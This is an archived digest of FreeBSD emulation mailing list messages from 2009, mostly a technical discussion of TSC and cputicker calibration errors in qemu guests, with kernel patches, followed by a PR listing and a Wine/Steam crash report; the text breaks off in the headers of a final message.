From owner-freebsd-emulation@FreeBSD.ORG Sun Apr 26 18:44:45 2009 Return-Path: Delivered-To: freebsd-emulation@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 299381065686 for ; Sun, 26 Apr 2009 18:44:45 +0000 (UTC) (envelope-from nox@jelal.kn-bremen.de) Received: from smtp.kn-bremen.de (gelbbaer.kn-bremen.de [78.46.108.116]) by mx1.freebsd.org (Postfix) with ESMTP id 7E8BD8FC23 for ; Sun, 26 Apr 2009 18:44:44 +0000 (UTC) (envelope-from nox@jelal.kn-bremen.de) Received: by smtp.kn-bremen.de (Postfix, from userid 10) id 461D31E000EC; Sun, 26 Apr 2009 20:45:35 +0200 (CEST) Received: from triton.kn-bremen.de (noident@localhost [127.0.0.1]) by triton.kn-bremen.de (8.14.3/8.14.3) with ESMTP id n3QIeNrV011054; Sun, 26 Apr 2009 20:40:23 +0200 (CEST) (envelope-from nox@triton.kn-bremen.de) Received: (from nox@localhost) by triton.kn-bremen.de (8.14.3/8.14.3/Submit) id n3QIeLE4011053; Sun, 26 Apr 2009 20:40:21 +0200 (CEST) (envelope-from nox) From: Juergen Lock Date: Sun, 26 Apr 2009 20:40:21 +0200 To: Bruce Evans Message-ID: <20090426184021.GA9545@triton.kn-bremen.de> References: <200904032223.n33MNTiq019599@triton.kn-bremen.de> <200904072137.n37LbbdC071227@triton.kn-bremen.de> <20090423214701.GA83621@triton.kn-bremen.de> <20090424201623.N887@besplex.bde.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090424201623.N887@besplex.bde.org> User-Agent: Mutt/1.5.19 (2009-01-05) Cc: kalinoj1@iem.pw.edu.pl, freebsd-emulation@FreeBSD.org Subject: Re: Recent qemu and timers issue X-BeenThere: freebsd-emulation@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Development of Emulators of other operating systems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 26 Apr 2009 18:44:45 -0000 On Fri, Apr 24, 2009 at 10:20:33PM +1000, Bruce Evans wrote: > On Thu, 23 Apr 2009, Juergen Lock wrote: > > > On Tue, Apr 07, 2009 at 11:37:37PM +0200, Juergen Lock wrote: > >> In article <200904062254.37824.kalinoj1@iem.pw.edu.pl> you write: > >>> Dnia sobota 04 kwietnia 2009 o 00:23:29 Juergen Lock napisa=C5=82(a): > >>>> In article you write: > >>> ... > >> OK I did some tests in the meantime on my newest box that has 4 cpus and > >> is running 7-stable: (host) > >>>> > >>>>> My logs and console are full of messages like this: > >>>>> calcru: runtime went backwards from 11248014678717988 usec to 119242 usec > >>>>> for pid 60 (ps) > >>>>> > >>>>> calcru: runtime went backwards from 11248014678921829 usec to 2516605 us= > >>> ec > >>>>> for pid 60 (ps) > >>>>> calcru: runtime went backwards from 7014844 usec to 6270851 usec for pid= > >>> 0 > >> ... > >>>>> I tried to use all possible timers using sysctl, where I have: > >>>>> TSC(800) HPET(900) ACPI-safe(850) i8254(0) dummy(-1000000) > >>>>> None of these helped. > > None of these are normally used for calculating runtimes. Normally > on i386, the TSC is used. Aaah-haa, this I didn't know. > The only way to configure this is to edit > the source code. Try removing the calls to set_cputicker() in the MD > code. Then the MI and timecounter-based cputicker tc_cpu_ticks() will > be used. Yup, that seemed to help indeed. (patch below.) > A better implementation would use a user-selectable > timecounter-based cputicker in all cases, but usually not the system > timecounter since that is likely to be very slow so as to be more > accurate. > This was using qemu's emulated hpet... I guess you mean slow to read the counter value? How often is the cputicker read, at every context switch? More often? > >>> At this moment it's very hard for me to judge if it's qemu or kernel issue.. > >>> Any thoughts? > >> > >> Yeah, could be one or the other. > > > > I just noticed running any FreeBSD guest with bootverbose (boot -v, > > or menu item 5 in the default beastie menu) gives me lots of these: > > t_delta 16.0109662fcd2712a0 too long > > t_delta 16.014a1099ee815ca0 too long > > t_delta 16.0108d9c2ecd404c0 too long > > t_delta 16.0108d032cb334b60 too long > > t_delta 15.f58306afb53419a0 too short > > t_delta 16.010a762538a38680 too long > > etc. My guess is this could be related... > > As you probably know, virtualizing timers is hard to do correctly (see > vmware docs), so the problem is most probably partly in qemu. The > cputicker code is much more fragile and/or broken than the timecounter > code, so imperfect virtualization is likely to cause more problems > with it. The above t_delta printfs are a sign of problems. > > It is not surprising that the recalibration code (cpu_tick_calibrate() > (sic)) has timing problems with virtual timers. When it detects a > problem, it prints the above; then it continues using the old (possibly > wrong) frequency. When it doesn't detect a problem, and the recalibrated > frequency would be larger, then it continues using the new (possibly > wrong) frequency. > > When it doesn't detect a problem, and the recalibrated frequency would > be smaller, then it is just broken -- it continues using the old > (certainly wrong) frequency. When miscalibrations are normal as appears > to be the case with qemu, this bug probably makes their effects less > obvious: > It makes the miscalibrated frequencies monotonically increasing > so they will soon converge to a limit and the frequency used will > then be invariant until the next full calibration. When the limit > is infinity, as is caused messing up the timers completely (e.g., > by sitting at a debugger prompt for more than a couple of seconds) > then other effects are fairly visible -- all user and sys times > are broken (nearly 0). When the limit is only a few percent larger > than the average, the user and sys times will be only a few percent > lower, provided the difference between the limit and the actual > (transient) frequency is not so large that calcru() sees problems > and tries to fix them. Fixing there is fundamentally impossible > but in some cases the damage is small enough to hide. > > In all cases, continuing with a wrong frequency will cause problems with > the runtime calculations. Continuing with a right (but changed) frequency > is little better. calcru() is fundamentally broken if the frequency > actually changes, since it applies the current frequency to ticks > accumulated at old frequencies. > > The following patch fixes a couple of the problems in recalibration: > > % diff -c2 ./kern/kern_tc.c~ ./kern/kern_tc.c > % *** ./kern/kern_tc.c~ Thu Mar 20 01:05:27 2008 > % --- ./kern/kern_tc.c Thu Mar 20 01:05:29 2008 > % *************** > % *** 884,888 **** > % return; > % > % ! getbinuptime(&t_this); > % c_this = cpu_ticks(); > % if (t_last.sec != 0) { > % --- 884,888 ---- > % return; > % > % ! binuptime(&t_this); > % c_this = cpu_ticks(); > % if (t_last.sec != 0) { > I tried this too... (with tsc as cputicker) > The existence of getbinuptime() is a bug, and its use here is especially > wrong. We should use the current time, and binuptime() gives this as > well as possible. The caller has just set the time cached for > getbinutime() to the current time, but this is not quite the same. > There is no locking here, except the implicit locking given by being > in a fast interrupt handler, so the time between the caching and the > use of the value is unbounded. We may be interrupted even if we are > in a fast interrupt handler, depending on the implementation of fast > interrupt handlers. Emulation is quite likely to result in fast > interrupt handlers being interrupted -- they are probably as "fast" > (really low-latency) as possible on the target, but they may be > interrupted on the host and then long delayed on the target in some > cases (hopefully not often). (Yup, especially when the host is running other things too besides this one vm guest...) > So using binuptime() is only slightly > better here -- a delay may occur after the timecounter is read, no > matter where it is read. Something like the following is needed: > > %%% > binuptime(&start_bt); > start_tsc = rdtsc(); > do { > binuptime(&sample_bt); > tsc = rdtsc(); > binuptime(&bt); > bintime_sub(&bt, &sample_bt); > if (bintimecmp(&bt, &best_bt, <)) { > best_bt = bt; > best_sample_bt = sample_bt; > best_tsc = tsc; > } > bt = sample_bt; > bintime_sub(&bt, &start_bt); > } while (++nsamples < min_nsamples || > bintimecmp(&best_bt, min_error_btp, >)); > %%% > > Reads of the timer being calibrated (TSC here) are sandwiched between > reads of the reference timer and ones that can't be measured to within > a few parts per billion are discarded. > > I never saw any effects from the above change on non-virtual systems. > Also, the sanity checks (which print the t_delta message) never fired > for the extremely messed up timers given by running ddb. When running > ddb, normal timing stops working after a few seoncs or millseconds since > timecounters require interrupts to work. However, the cputicker keeps > working precisely if it is the TSC. So the cputicker : delta-binuptime > ratio soon becomes effectively infinite. The sanity checking code seems > to always fail to detect this problem. > > % *************** > % *** 922,931 **** > % c_delta <<= 20; > % c_delta /= divi; > % ! if (c_delta > cpu_tick_frequency) { > % ! if (0 && bootverbose) > % ! printf("cpu_tick increased to %ju Hz\n", > % ! c_delta); > % ! cpu_tick_frequency = c_delta; > % ! } > % } > % } > % --- 922,930 ---- > % c_delta <<= 20; > % c_delta /= divi; > % ! if ((0 && bootverbose)) > % ! printf( > % ! "cpu_tick_frequency changed from %ju to %ju Hz\n", > % ! cpu_tick_frequency, c_delta); > % ! cpu_tick_frequency = c_delta; > % } > % } > > This fixes the bug which makes cpu_tick_frequency non-decreasing. > ...and I tried this, both changes didn't fix the problem. > Another thing you can try here is to edit the source code to change > the set_cputicker() calls to say that the frequency is not variable. That probably won't help here because I noticed at least the initial tsc `calibration' in the guest (in init_TSC()) is way off too (it got not even half the value here of the actual frequency, which according to dmesg on this host is `TSC: P-state invariant'.) OK _maybe_ if we get the proper frequency into the guest there somehow from the beginning and then say its not variable maybe it could work, but that still leaves the case of hosts with non P-state invariant tsc because... > I used this temporarily to work around the non-decreasing calibration. > This should be the default for emulators for most cputickers -- emulators > should emulate a constant frequency and not emulate the complexities > for pwoer saving. Hmm I guess thats more easily said than done. :) At least qemu basically just passes the host tsc thru when a guest reads it. > This should probably be the default when the cputicker > is the i386 TSC and the TSC is P-state invariant. Currently, P-state > invariance only causes turning off of cpufreq's adjustment of the TSC > as a timecounter. Oh and thanx for this enlightful post, very much appreciated! And for anyone who would like to test a patch: (I think vm_guest is only defined on head tho so this patch wont work on stable.) Index: sys/i386/i386/tsc.c @@ -79,6 +79,8 @@ 800, /* quality (adjusted in code) */ }; +extern int vm_guest; /* Running as virtual machine guest? */ + void init_TSC(void) { @@ -109,6 +111,16 @@ * via tsc_freq_max(). This also will be updated if someone loads * a cpufreq driver after boot that discovers a new max frequency. */ +#if 1 + /* most(?) VMs' tsc are unreliable as cputicker, causing + * `calcru: runtime went backwards ...' messages. (This falls + * back to using tc_cpu_ticks instead of rdtsc which hopefully + * is something better in the vm like acpi-fast or hpet.) + * XXX is this also true for xen? + */ + if (vm_guest) + return; +#endif set_cputicker(rdtsc, tsc_freq, 1); /* Register to find out about changes in CPU frequency. */ Index: sys/amd64/amd64/tsc.c @@ -78,6 +78,8 @@ 800, /* quality (adjusted in code) */ }; +extern int vm_guest; /* Running as virtual machine guest? */ + void init_TSC(void) { @@ -100,6 +102,16 @@ * via tsc_freq_max(). This also will be updated if someone loads * a cpufreq driver after boot that discovers a new max frequency. */ +#if 1 + /* most(?) VMs' tsc are unreliable as cputicker, causing + * `calcru: runtime went backwards ...' messages. (This falls + * back to using tc_cpu_ticks instead of rdtsc which hopefully + * is something better in the vm like acpi-fast or hpet.) + * XXX is this also true for xen? + */ + if (vm_guest) + return; +#endif set_cputicker(rdtsc, tsc_freq, 1); /* Register to find out about changes in CPU frequency. */ (I say most(?) VMs' tsc are unreliable there because I found this issue mentioned in the list archives also for vmware and ms virtual server at least... and also the comments in sys/i386/i836/tsc.c:init_TSC_tc() say tsc is unreliable with apm because of cpu time spent in smm code, and as mentioned with VMs I'd say this is even worse because of cpu time spent in the host kernel, other host processes, etc.) Thanx, Juergen From owner-freebsd-emulation@FreeBSD.ORG Mon Apr 27 09:12:01 2009 Return-Path: Delivered-To: freebsd-emulation@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5E73A1065678 for ; Mon, 27 Apr 2009 09:12:01 +0000 (UTC) (envelope-from brde@optusnet.com.au) Received: from mail06.syd.optusnet.com.au (mail06.syd.optusnet.com.au [211.29.132.187]) by mx1.freebsd.org (Postfix) with ESMTP id EC8DA8FC14 for ; Mon, 27 Apr 2009 09:12:00 +0000 (UTC) (envelope-from brde@optusnet.com.au) Received: from c122-107-120-227.carlnfd1.nsw.optusnet.com.au (c122-107-120-227.carlnfd1.nsw.optusnet.com.au [122.107.120.227]) by mail06.syd.optusnet.com.au (8.13.1/8.13.1) with ESMTP id n3R9BoKC004577 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 27 Apr 2009 19:11:52 +1000 Date: Mon, 27 Apr 2009 19:11:50 +1000 (EST) From: Bruce Evans X-X-Sender: bde@delplex.bde.org To: Juergen Lock In-Reply-To: <20090426184021.GA9545@triton.kn-bremen.de> Message-ID: <20090427182336.K64097@delplex.bde.org> References: <200904032223.n33MNTiq019599@triton.kn-bremen.de> <200904072137.n37LbbdC071227@triton.kn-bremen.de> <20090423214701.GA83621@triton.kn-bremen.de> <20090424201623.N887@besplex.bde.org> <20090426184021.GA9545@triton.kn-bremen.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: kalinoj1@iem.pw.edu.pl, freebsd-emulation@FreeBSD.org Subject: Re: Recent qemu and timers issue X-BeenThere: freebsd-emulation@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Development of Emulators of other operating systems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 27 Apr 2009 09:12:01 -0000 On Sun, 26 Apr 2009, Juergen Lock wrote: > On Fri, Apr 24, 2009 at 10:20:33PM +1000, Bruce Evans wrote: >> On Thu, 23 Apr 2009, Juergen Lock wrote: >> >>> On Tue, Apr 07, 2009 at 11:37:37PM +0200, Juergen Lock wrote: >>>> In article <200904062254.37824.kalinoj1@iem.pw.edu.pl> you write: >>>>> Dnia sobota 04 kwietnia 2009 o 00:23:29 Juergen Lock napisa=C5=82(a): >>>>>> In article you write: >>>>> ... >>>>>>> I tried to use all possible timers using sysctl, where I have: >>>>>>> TSC(800) HPET(900) ACPI-safe(850) i8254(0) dummy(-1000000) >>>>>>> None of these helped. >> >> None of these are normally used for calculating runtimes. Normally >> on i386, the TSC is used. > > Aaah-haa, this I didn't know. > >> The only way to configure this is to edit >> the source code. Try removing the calls to set_cputicker() in the MD >> code. Then the MI and timecounter-based cputicker tc_cpu_ticks() will >> be used. > > Yup, that seemed to help indeed. (patch below.) > >> A better implementation would use a user-selectable >> timecounter-based cputicker in all cases, but usually not the system >> timecounter since that is likely to be very slow so as to be more >> accurate. >> > This was using qemu's emulated hpet... I guess you mean slow to read > the counter value? How often is the cputicker read, at every context > switch? More often? Yes, ACPI timecounter hardware typically takes 1000 nsec to read, while TSC hardware typically takes 5 nsec to read (12 cycles on AthlonXP and Athlon64; more on P3-4, Core2 and Phenom). I don't know how long it takes to read a typical HPET. Emulated timecounter hardware is likely to be even slower. Timecounter software typically adds only another 20 (50?) nsec. The cputicker is read mainly at every context switch. >> [...some fixes] >> > ...and I tried this, both changes didn't fix the problem. > >> Another thing you can try here is to edit the source code to change >> the set_cputicker() calls to say that the frequency is not variable. > > That probably won't help here because I noticed at least the initial > tsc `calibration' in the guest (in init_TSC()) is way off too (it got > not even half the value here of the actual frequency, which according > to dmesg on this host is `TSC: P-state invariant'.) The initial calibration code is even sloppier than the recalibration, and is more likely not to work under emulation. It depends on the i8254 timer being accurate and doesn't try to sandwich reads of the TSC between close-together reads of the reference timer or otherwise try to limit errors in reading the reference timer. With real hardware this normally causes an avoidable error of at most 5 ppm (from waiting 5 i8254 cycles extra), but with emulated hardware it probably causes a larger error even if the emulation is perfect. The recalibration does better by using a higher quality reference timer sampled over an interval 16 times as long. This should be fixable using the machdep.tsc_freq sysctl. However, this sysctl neglects to call set_cputicker(). This should make little difference when the frequency is nominated as variable since recalibration should change it soon anyway. However, the bug in recalibration prevents downwards adjustments. > OK _maybe_ if we get the proper frequency into the guest there somehow > from the beginning and then say its not variable maybe it could work, > but that still leaves the case of hosts with non P-state invariant tsc > because... > >> I used this temporarily to work around the non-decreasing calibration. >> This should be the default for emulators for most cputickers -- emulators >> should emulate a constant frequency and not emulate the complexities >> for pwoer saving. > > Hmm I guess thats more easily said than done. :) At least qemu > basically just passes the host tsc thru when a guest reads it. But it claims P-state invariance? Maybe it gets that from the host. Does it trap TSC reads? This would be slow, but required to emulate P-state invariance and might be required for accurate timing anyway. I think emulators shouldn't trap reads of the TSC because the TSC is unreliable for accurate timing anyway, but they should do something to keep slower-to-access accurate hardware timers virtually accurate. Hopefully the hardware people will eventually make a timer like the TSC both accurate and fast. Emulators will have a difficult time preserving both. Bruce From owner-freebsd-emulation@FreeBSD.ORG Mon Apr 27 11:06:52 2009 Return-Path: Delivered-To: freebsd-emulation@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A2F021065672 for ; Mon, 27 Apr 2009 11:06:52 +0000 (UTC) (envelope-from owner-bugmaster@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 8F1178FC0A for ; Mon, 27 Apr 2009 11:06:52 +0000 (UTC) (envelope-from owner-bugmaster@FreeBSD.org) Received: from freefall.freebsd.org (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n3RB6qu5002248 for ; Mon, 27 Apr 2009 11:06:52 GMT (envelope-from owner-bugmaster@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n3RB6q1d002244 for freebsd-emulation@FreeBSD.org; Mon, 27 Apr 2009 11:06:52 GMT (envelope-from owner-bugmaster@FreeBSD.org) Date: Mon, 27 Apr 2009 11:06:52 GMT Message-Id: <200904271106.n3RB6q1d002244@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: gnats set sender to owner-bugmaster@FreeBSD.org using -f From: FreeBSD bugmaster To: freebsd-emulation@FreeBSD.org Cc: Subject: Current problem reports assigned to freebsd-emulation@FreeBSD.org X-BeenThere: freebsd-emulation@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Development of Emulators of other operating systems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 27 Apr 2009 11:06:52 -0000 Note: to view an individual PR, use: http://www.freebsd.org/cgi/query-pr.cgi?pr=(number). The following is a listing of current problems submitted by FreeBSD users. These represent problem reports covering all versions including experimental development code and obsolete releases. S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/130724 emulation [linprocfs] [patch] cpuinfo in linprocfs is dated, cau o kern/129169 emulation [linux] [patch] Linux Emulation ENOTCONN error using n f ports/127018 emulation Linuxulator incapable of using FreeBSD's LDAP environm o kern/126232 emulation [linux] Linux ioctl TCGETS (0x5401) always fails o ports/121800 emulation x11-toolkits/linux-openmotif - OpenMotif upgrade to 2. o kern/97326 emulation [linux] file descriptor leakage in linux emulation o ports/91318 emulation graphics/linux_dri: works on amd64 too o kern/91293 emulation [svr4] [patch] *Experimental* Update to the SVR4 emula o kern/73777 emulation [linux] [patch] linux emulation: root dir special hand a kern/72920 emulation [linux]: path "prefixing" is not done on unix domain s o kern/56451 emulation [linprocfs] /compat/linux/proc/cpuinfo gives wrong CPU o kern/41543 emulation [patch] [request] easier wine/w23 support o kern/39201 emulation [linux] [patch] ptrace(2) and rfork(RFLINUXTHPN) confu o kern/29698 emulation [linux] [patch] linux ipcs doesn'work o kern/21463 emulation [linux] Linux compatability mode should not allow setu o kern/11165 emulation [ibcs2] IBCS2 doesn't work correctly with PID_MAX 9999 16 problems total. From owner-freebsd-emulation@FreeBSD.ORG Mon Apr 27 22:28:23 2009 Return-Path: Delivered-To: freebsd-emulation@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 57C9D106564A for ; Mon, 27 Apr 2009 22:28:23 +0000 (UTC) (envelope-from nox@jelal.kn-bremen.de) Received: from smtp.kn-bremen.de (gelbbaer.kn-bremen.de [78.46.108.116]) by mx1.freebsd.org (Postfix) with ESMTP id A59658FC14 for ; Mon, 27 Apr 2009 22:28:21 +0000 (UTC) (envelope-from nox@jelal.kn-bremen.de) Received: by smtp.kn-bremen.de (Postfix, from userid 10) id BA0811E00041; Tue, 28 Apr 2009 00:29:16 +0200 (CEST) Received: from triton.kn-bremen.de (noident@localhost [127.0.0.1]) by triton.kn-bremen.de (8.14.3/8.14.3) with ESMTP id n3RMOQ59033264; Tue, 28 Apr 2009 00:24:26 +0200 (CEST) (envelope-from nox@triton.kn-bremen.de) Received: (from nox@localhost) by triton.kn-bremen.de (8.14.3/8.14.3/Submit) id n3RMOPWJ033263; Tue, 28 Apr 2009 00:24:25 +0200 (CEST) (envelope-from nox) From: Juergen Lock Date: Tue, 28 Apr 2009 00:24:25 +0200 To: Bruce Evans Message-ID: <20090427222425.GA32342@triton.kn-bremen.de> References: <200904032223.n33MNTiq019599@triton.kn-bremen.de> <200904072137.n37LbbdC071227@triton.kn-bremen.de> <20090423214701.GA83621@triton.kn-bremen.de> <20090424201623.N887@besplex.bde.org> <20090426184021.GA9545@triton.kn-bremen.de> <20090427182336.K64097@delplex.bde.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090427182336.K64097@delplex.bde.org> User-Agent: Mutt/1.5.19 (2009-01-05) Cc: kalinoj1@iem.pw.edu.pl, freebsd-emulation@FreeBSD.org Subject: Re: Recent qemu and timers issue X-BeenThere: freebsd-emulation@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Development of Emulators of other operating systems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 27 Apr 2009 22:28:23 -0000 On Mon, Apr 27, 2009 at 07:11:50PM +1000, Bruce Evans wrote: > On Sun, 26 Apr 2009, Juergen Lock wrote: > > > On Fri, Apr 24, 2009 at 10:20:33PM +1000, Bruce Evans wrote: > >> On Thu, 23 Apr 2009, Juergen Lock wrote: > >> > >>> On Tue, Apr 07, 2009 at 11:37:37PM +0200, Juergen Lock wrote: > >>>> In article <200904062254.37824.kalinoj1@iem.pw.edu.pl> you write: > >>>>> Dnia sobota 04 kwietnia 2009 o 00:23:29 Juergen Lock napisa=C5=82(a): > >>>>>> In article you write: > >>>>> ... > >>>>>>> I tried to use all possible timers using sysctl, where I have: > >>>>>>> TSC(800) HPET(900) ACPI-safe(850) i8254(0) dummy(-1000000) > >>>>>>> None of these helped. > >> > >> None of these are normally used for calculating runtimes. Normally > >> on i386, the TSC is used. > > > > Aaah-haa, this I didn't know. > > > >> The only way to configure this is to edit > >> the source code. Try removing the calls to set_cputicker() in the MD > >> code. Then the MI and timecounter-based cputicker tc_cpu_ticks() will > >> be used. > > > > Yup, that seemed to help indeed. (patch below.) > > > >> A better implementation would use a user-selectable > >> timecounter-based cputicker in all cases, but usually not the system > >> timecounter since that is likely to be very slow so as to be more > >> accurate. > >> > > This was using qemu's emulated hpet... I guess you mean slow to read > > the counter value? How often is the cputicker read, at every context > > switch? More often? > > Yes, ACPI timecounter hardware typically takes 1000 nsec to read, while > TSC hardware typically takes 5 nsec to read (12 cycles on AthlonXP and > Athlon64; more on P3-4, Core2 and Phenom). I don't know how long it > takes to read a typical HPET. Emulated timecounter hardware is likely to > be even slower. Yup. If I'm not mistaken its handled like any other memorymapped io access in qemu, causing kqemu kernel code to return to userland qemu to handle it and passing the result back to the guest running in kqemu... (Well, with -kernel-kqemu anyway, with regular userland kqemu mode the guest kernel code that does the io still runs in jit mode i.e. simulation.) > Timecounter software typically adds only another 20 > (50?) nsec. The cputicker is read mainly at every context switch. > > >> [...some fixes] > >> > > ...and I tried this, both changes didn't fix the problem. > > > >> Another thing you can try here is to edit the source code to change > >> the set_cputicker() calls to say that the frequency is not variable. > > > > That probably won't help here because I noticed at least the initial > > tsc `calibration' in the guest (in init_TSC()) is way off too (it got > > not even half the value here of the actual frequency, which according > > to dmesg on this host is `TSC: P-state invariant'.) > > The initial calibration code is even sloppier than the recalibration, > and is more likely not to work under emulation. It depends on the > i8254 timer being accurate and doesn't try to sandwich reads of the > TSC between close-together reads of the reference timer or otherwise > try to limit errors in reading the reference timer. With real hardware > this normally causes an avoidable error of at most 5 ppm (from waiting > 5 i8254 cycles extra), but with emulated hardware it probably causes > a larger error even if the emulation is perfect. The recalibration > does better by using a higher quality reference timer sampled over an > interval 16 times as long. > Yup, the recalibrated value is much more correct, as can be seen by printing cpu_tick_frequency in kgdb. (And this recalibration seemed to have caused at least one of the `runtime went backwards' messages once it did fit in the 16 +/- 1/256 seconds range of cpu_tick_calibrate() i.e. when it actually updated cpu_tick_frequency, altho I did get another one of those messages later on.) > This should be fixable using the machdep.tsc_freq sysctl. However, > this sysctl neglects to call set_cputicker(). This should make > little difference when the frequency is nominated as variable since > recalibration should change it soon anyway. However, the bug in > recalibration prevents downwards adjustments. > > > OK _maybe_ if we get the proper frequency into the guest there somehow > > from the beginning and then say its not variable maybe it could work, > > but that still leaves the case of hosts with non P-state invariant tsc > > because... > > > >> I used this temporarily to work around the non-decreasing calibration. > >> This should be the default for emulators for most cputickers -- emulators > >> should emulate a constant frequency and not emulate the complexities > >> for pwoer saving. > > > > Hmm I guess thats more easily said than done. :) At least qemu > > basically just passes the host tsc thru when a guest reads it. > > But it claims P-state invariance? Maybe it gets that from the host. No, that message was from the host, the guest didn't say that. > Does it trap TSC reads? No. (Well, only without kqemu i.e. when its doing jit, and then it still uses the host tsc, altho it may add an offset.) > This would be slow, but required to emulate > P-state invariance and might be required for accurate timing anyway. > I think emulators shouldn't trap reads of the TSC because the TSC > is unreliable for accurate timing anyway, but they should do something > to keep slower-to-access accurate hardware timers virtually accurate. > Hopefully the hardware people will eventually make a timer like the > TSC both accurate and fast. Emulators will have a difficult time > preserving both. Agreed. Cheers, Juergen From owner-freebsd-emulation@FreeBSD.ORG Wed Apr 29 17:37:00 2009 Return-Path: Delivered-To: freebsd-emulation@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 696F1106564A for ; Wed, 29 Apr 2009 17:37:00 +0000 (UTC) (envelope-from kris@pcbsd.com) Received: from pcbsd.ixsystems.com (pcbsd.ixsystems.net [206.40.55.78]) by mx1.freebsd.org (Postfix) with ESMTP id 54C418FC13 for ; Wed, 29 Apr 2009 17:37:00 +0000 (UTC) (envelope-from kris@pcbsd.com) Received: from [192.168.0.193] (24-158-205-179.dhcp.kgpt.tn.charter.com [24.158.205.179]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by pcbsd.ixsystems.com (Postfix) with ESMTPSA id F0E43145F40A for ; Wed, 29 Apr 2009 10:19:09 -0700 (PDT) Message-ID: <49F88C48.20705@pcbsd.com> Date: Wed, 29 Apr 2009 13:20:08 -0400 From: Kris Moore User-Agent: Thunderbird 2.0.0.21 (X11/20090321) MIME-Version: 1.0 To: freebsd-emulation@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Wine crashing with steam X-BeenThere: freebsd-emulation@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Development of Emulators of other operating systems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 29 Apr 2009 17:37:00 -0000 I'm running into these errors trying to run Steam in the more recent versions of wine, since 1.1.18 I believe. fixme:process:SetProcessShutdownParameters (00000100, 00000000): partial stub. fixme:urlmon:CoInternetSetFeatureEnabled 5, 0x00000002, 1, stub fixme:urlmon:CoInternetSetFeatureEnabled 10, 0x00000002, 1, stub err:dscapture:widDsCreate DirectSoundCapture flag not set This sound card's driver does not support direct access The (slower) DirectSound HEL mode will be used instead. fixme:dbghelp:EnumerateLoadedModulesW64 If this happens, bump the number in mod err:ntdll:RtlpWaitForCriticalSection section 0xcd7144 "?" wait timed out in thread 001e, blocked by 001f, retrying (60 sec) I believe its the ntdll: error which is causing the crash. Any clues as to what this is? It happens anytime I try to log into steam. -- Kris Moore PC-BSD Software http://www.pcbsd.com From owner-freebsd-emulation@FreeBSD.ORG Fri May 1 09:39:17 2009 Return-Path: Delivered-To: freebsd-emulation@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 155291065679 for ; Fri, 1 May 2009 09:39:17 +0000 (UTC) (envelope-from rhurlin@gwdg.de) Received: from amailer.gwdg.de (amailer.gwdg.de [134.76.10.18]) by mx1.freebsd.org (Postfix) with ESMTP id 7ED9F8FC18 for ; Fri, 1 May 2009 09:39:16 +0000 (UTC) (envelope-from rhurlin@gwdg.de) Received: from p578b68b8.dip0.t-ipconnect.de ([87.139.104.184] helo=krabat.raven.hur) by mailer.gwdg.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from ) id 1LzpBz-000885-8R; Fri, 01 May 2009 11:38:03 +0200 Message-ID: <49FAC2F6.9070901@gwdg.de> Date: Fri, 01 May 2009 11:37:58 +0200 From: Rainer Hurling User-Agent: Thunderbird 2.0.0.21 (X11/20090404) MIME-Version: 1.0 To: Boris Samorodov References: <49E98C97.9080602@gwdg.de> <10766735@ipt.ru> <49EB8968.3040004@gwdg.de> <91071496@serv3.int.kfs.ru> <49F4A031.5010500@gwdg.de> <67783565@ipt.ru> <49F6122A.7010704@gwdg.de> <01698759@ipt.ru> <49F75EFC.1020300@gwdg.de> <67754344@h30.sp.ipt.ru> <49F8AA25.9080400@gwdg.de> <92717594@h30.sp.ipt.ru> <49F8B7FD.4080304@gwdg.de> <78462917@bb.ipt.ru> In-Reply-To: <78462917@bb.ipt.ru> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Authenticated: Id:rhurlin X-Spam-Level: - X-Virus-Scanned: (clean) by exiscan+sophie Cc: freebsd-emulation@freebsd.org Subject: Re: [not completely SOLVED] acroread8 does not print any more X-BeenThere: freebsd-emulation@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Development of Emulators of other 